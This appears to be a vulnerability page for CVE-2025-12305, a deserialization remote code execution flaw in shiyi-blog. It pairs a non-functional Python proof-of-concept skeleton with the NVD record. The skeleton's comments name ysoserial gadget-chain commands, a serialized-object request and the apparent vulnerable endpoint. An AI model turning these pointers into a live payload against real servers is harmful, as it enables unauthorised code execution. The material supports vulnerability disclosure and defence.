CVE-2025-12305

import pickle import base64 import requests # CVE-2025-12305 PoC - shiyi-blog Deserialization RCE # This is a conceptual PoC for educational purposes only # Note: Actual exploitation requires identifying the specific gadget chain # and the vulnerable deserialization point in SysJobController.java def generate_malicious_payload(gadget_chain='commons-collections'): """ Generate malicious serialized payload using ysoserial concept gadget_chain: commons-collections, spring-aop, etc. """ # In real scenario, use ysoserial tool: # java -jar ysoserial.jar [gadget-chain] 'command' # Example: java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' # This is a placeholder - actual payload generation requires: # 1. ysoserial tool # 2. Identification of available gadget chains in the application # 3. Specific target endpoint in SysJobController # Example command to generate payload: # payload = subprocess.check_output([ # 'java', '-jar', 'ysoserial.jar', gadget_chain, 'whoami' # ]) return b'MALICIOUS_SERIALIZED_DATA_PLACEHOLDER' def exploit_target(target_url, payload): """ Send malicious payload to vulnerable endpoint """ # Target endpoint typically in Job Handler: # /api/job/execute or similar endpoint in SysJobController headers = { 'Content-Type': 'application/x-java-serialized-object', 'User-Agent': 'Mozilla/5.0' } try: # Example POST request to trigger deserialization # response = requests.post( # f'{target_url}/api/sysjob/execute', # data=payload, # headers=headers, # timeout=10 # ) pass except requests.exceptions.RequestException as e: print(f'Request failed: {e}') if __name__ == '__main__': # Usage example: # target = 'http://vulnerable-server:8080' # payload = generate_malicious_payload('commons-collections6') # exploit_target(target, payload) print('PoC for CVE-2025-12305 - shiyi-blog Deserialization RCE') print('Use ysoserial to generate actual payload')

{"cve": {"id": "CVE-2025-12305", "sourceIdentifier": "[email protected]", "published": "2025-10-27T19:16:01.790", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in quequnlong shiyi-blog up to 1.2.1. This impacts an unknown function of the file src/main/java/com/mojian/controller/SysJobController.java of the component Job Handler. The manipulation results in deserialization. The attack can be executed remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-502"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quequnlong:shiyi-blog:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.2.1", "matchCriteriaId": "CFC83719-EDCB-49AF-B0BA-A5E649A808F4"}]}]}], "references": [{"url": "https://github.com/dongodid/cve-sub/blob/main/shiyi-blog/RCE.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329977", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329977", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.676725", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.676730", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}